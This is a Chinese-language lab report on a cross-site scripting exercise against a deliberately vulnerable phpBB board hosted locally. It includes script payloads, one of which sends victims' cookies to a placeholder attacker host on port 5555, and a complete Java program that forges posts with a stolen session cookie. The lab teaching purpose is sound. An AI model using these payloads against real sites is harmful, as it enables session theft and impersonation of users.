SiteScripting(XSS)攻击实验报告一
52fw.cn 10-14 次遇见(如果大家发现报告中有问题的话,欢迎大家留言讨论O(∩_∩)O。。。。)
第一部分 实验目的
1.1 理解跨站脚本(XSS)攻击的原理
1.2 熟悉JavaScript脚本语言的使用
1.3 熟悉火狐浏览器中Live Http Headers工具的使用
第二部分 实验介绍
2.1 实验背景
Cross-site scripting(以下简称XSS)是网页应用程序的一种常见漏洞,它使得攻击者向受害者的浏览器中注入恶意的代码(例如一段JavaScript脚本程序)。一旦执行这段代码,攻击者就可以偷取受害者的隐私数据,比如cookies。虽然浏览器可以使用一些保护措施,比如(同源措施, 参考资料[1])。但是XSS攻击却可以轻易绕过这些保护措施,正因为如此才导致了目前Internet上XSS攻击的盛行。
为了说明攻击者是如何探索XSS漏洞的,我们建立一个信息公告版(相当于BBS,后面简称BBS)。我们修改了这个软件,使其具有XSS漏洞。这种漏洞使得BBS的用户可以向自己贴中添加任何的内容,包括JavaScript脚本(这对本使用至关重要)。这样的话,BBS的用户就可以在贴中添加XSS攻击脚本。而其他用户,如果来点击阅览这些具有恶意代码的帖子,他们就会被攻击,被攻击的结果是以这些受害者的名义发布伪造的帖子。
2.2 实验配置
2.2.1Firefox浏览器:
我们需要使用Firefox中的LiveHTTPHeader插件来查看HTTP请求和回复信息
Apache服务器:
使用命令:
sudo apache2ctl start
或者
sudo service apache2 start
启动Apache服务器。
配置web服务器:
Apache服务器具有基于名字的虚拟主机特性,这种特性使得可以在同一台机器上配置多个web网站。这可以通过修改/etc/apache2/sites-available文件中的NameVirtualHost*字段达到目的,每一个web应用程序都有一个VirtualHost字段来配置网站对应的URL,以及网站源程序所在的目录。
例如:
我们用URL:配置一个网站地址,用/var/www/Example_1/来配置网站源程序放置的目录;
用URL:配置一个网站地址,用/var/www/Example_2/来配置网站源程序放置的目录。
为了达到上述目标,我们需要配置下面的VirtualHost字段:
<VirtualHost *>
ServerName
DocumentRoot /var/www/Example_1/
</VirtualHost>
<VirtualHost *>
ServerName
DocumentRoot /var/www/Example_2/
</VirtualHost>
例如本实验用的在/etc/apache2/sites-available中的配置信息如下:
2.2.2 phpBB信息公告板系统:
phpBB 网站应用程序已经安装在我们的系统中,我们可以使用URL:来访问这个BBS系统。
备注:这个URL仅仅在我们的虚拟机内部可以访问,因为我们修改了/etc/hosts文件,使得域名:
映射到本机的IP地址:127.0.0.1。
示意图如下
备注:
当然了,我们也可以修改/etc/hosts映射任何一个域名到一个特定的IP地址,例如你可以映射到本地IP,通过如下修改/etc/hosts中的映射表:
127.0.0.1
因此,如果你的web服务器和浏览器不在同一个机器上,你需要修改浏览器所在主机的/etc/hosts文件,让到服务器的IP地址。但是实验中为了方便,我们把BSS服务器和浏览器在同一个虚拟机上。
第三部分 实验内容
3.1 发送一段可以显示alert窗口的恶意代码
下面的这段JavaScript代码可以显示一个Alert窗口:
<script>alert(’XSS’);</script>
如果我们发的帖中包含这段JavaScript脚本,那么任何一个浏览我们贴着的人都会看到一个alert窗口。
程序示意如下:
Step1:发一个名为A alert window,内容为<script>alert(’XSS’);</script>的帖子:
Step2:任何一个浏览该贴的人,都会弹出一个alert窗口,不管你是否登录BBS
弹出Alert窗口如下:
3.2 用alert窗口显示用户Cookies
发一个名为Display Cookies的帖子,发帖内容如下:
<script>alert(document.cookie);</script>
Hello Everybody,
Welcome to this message board.
发帖过程同3.1.
当单击这个帖子阅读时,会弹出alert窗口,显示用户的cookies:
#p#分页标题#e#
3.3 盗取受害者的Cookies
在3.2中,用户在贴中贴入上述的JavaScript,就能够显示出用户的Cookies。本次试验中,攻击者想让JavaScript代码发送用户的Cookies到攻击者的终端上。为了能够达到这个目标,我们希望JavaScript代码能够向攻击者发送一个HTTP请求,同时把Cookies追加到这个请求上。
为了达到这个目的,我们在JavaScript中插入一个<img>标签,标签的src指向攻击者的URL,这样当JavaScript试图插入一个img标志时,浏览器会从指定的URL中载入图片,所以它会向攻击者发送一个HTTP GET请求。例如下面的JavaScript脚本将用户的Cookies发向攻击者的5555端口。同时在攻击者的5555端口运行一个TCP服务器,它不停的监听这个端口,并把收到的请求打印在终端打印出来。
JavaScript脚本:
Hello Folks,
<script>document.write(’<img src=http://attacker_IP_address:5555?c=’
+ escape(document.cookie) + ’ >’); </script>
This script is to test XSS. Thanks.
第一步:BBS用户ted发送含有上脚本的帖子,示意图如下:
第二步:ted发送帖子的时间,就会运行JavaScript脚本,该脚本将ted的cookies发往攻击者,攻击者上运行一个TCP服务器监听端口5555,并把收到的信息在终端中显示出来。这样ted的cookies就会在攻击者机器的终端上显示出来。
示意图如下:
3.4 利用获取的Cookies来冒充受害者
攻击者偷到受害者的cookies之后,攻击者就可以在BBS中冒充受害者做任何受害者可以做的事情,比如以受害者的名义发一个新帖,或者删除受害者已发的帖子等等,本次实验中我们就利ted的cookies,在BBS中以ted的名义发送一个新的帖子。
ted登录bbs发贴,同时用火狐的HTTP LIVE Headers插件捕获发帖的信息:
用捕获的ted发帖的上述信息,编写HTTPSimpleForge.java程序,并填写相关的参数。
完整的HTTPSimpleForge.java代码如下:
import java.io.*;
import java.net.*;
public class HTTPSimpleForge {
public static void main(String[] args) throws IOException {
try {
int responseCode;
InputStream responseIn=null;
// URL to be forged.
URL url = new URL ("http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1");
// URLConnection instance is created to further parameterize a
// resource request past what the state members of URL instance
// can represent.
URLConnection urlConn = url.openConnection();
if (urlConn instanceof HttpURLConnection) {
urlConn.setConnectTimeout(60000);
urlConn.setReadTimeout(90000);
}
// addRequestProperty method is used to add HTTP Header Information.
// Here we add User-Agent HTTP header to the forged HTTP packet.
urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
urlConn.setRequestProperty("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
urlConn.setRequestProperty("Accept-Language","en-us,en;q=0.5");
urlConn.setRequestProperty("Accept-Encoding","gzip,deflate");
urlConn.setRequestProperty("Accept-Charset","ISO-8859-1,utf-8;q=0.7,*;q=0.7");
urlConn.setRequestProperty("Connection","keep-alive");
urlConn.setRequestProperty("Keep-Alive","115");
urlConn.setRequestProperty("Referer","http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1");
#p#分页标题#e#urlConn.setRequestProperty("Cookie","phpbb2mysql_data=a:2:{s:11:"autologinid";s:0:"";s:6:"userid";s:1:"6";}; phpbb2mysql_sid=df444be6e36ed5d3e54800c47b9ad5af; phpbb2mysql_t=a:1:{i:9;i:1306422029;}");
urlConn.setRequestProperty("Content-Type","application/x-www-form-urlencoded");
urlConn.setRequestProperty("Content-Length","245");
//HTTP Post Data which includes the information to be sent to the server.
//String data="username=admin&seed=admin@seed.com";
String data="subject=test+by+ted&addbbcode18=#444444&addbbcode20=0&helpbox=Underline+text:+[u]text[/u]++(alt+u)&message=test&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid=df444be6e36ed5d3e54800c47b9ad5af&f=1&post=Submit";
// DoOutput flag of URL Connection should be set to true
// to send HTTP POST message.
urlConn.setDoOutput(true);
// OutputStreamWriter is used to write the HTTP POST data
// to the url connection.
OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
wr.write(data);
wr.flush();
// HttpURLConnection a subclass of URLConnection is returned by
// url.openConnection() since the url is an http request.
if (urlConn instanceof HttpURLConnection) {
HttpURLConnection httpConn = (HttpURLConnection) urlConn;
// Contacts the web server and gets the status code from
// HTTP Response message.
responseCode = httpConn.getResponseCode();
System.out.println("Response Code = " + responseCode);
// HTTP status code HTTP_OK means the response was
// received sucessfully.
if (responseCode == HttpURLConnection.HTTP_OK) {
// Get the input stream from url connection object.
responseIn = urlConn.getInputStream();
// Create an instance for BufferedReader
// to read the response line by line.
BufferedReader buf_inp = new BufferedReader(
new InputStreamReader(responseIn));
String inputLine;
while((inputLine = buf_inp.readLine())!=null) {
System.out.println(inputLine);
}
}
}
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
编译并运行java程序,在BBS中,以ted的名义发帖: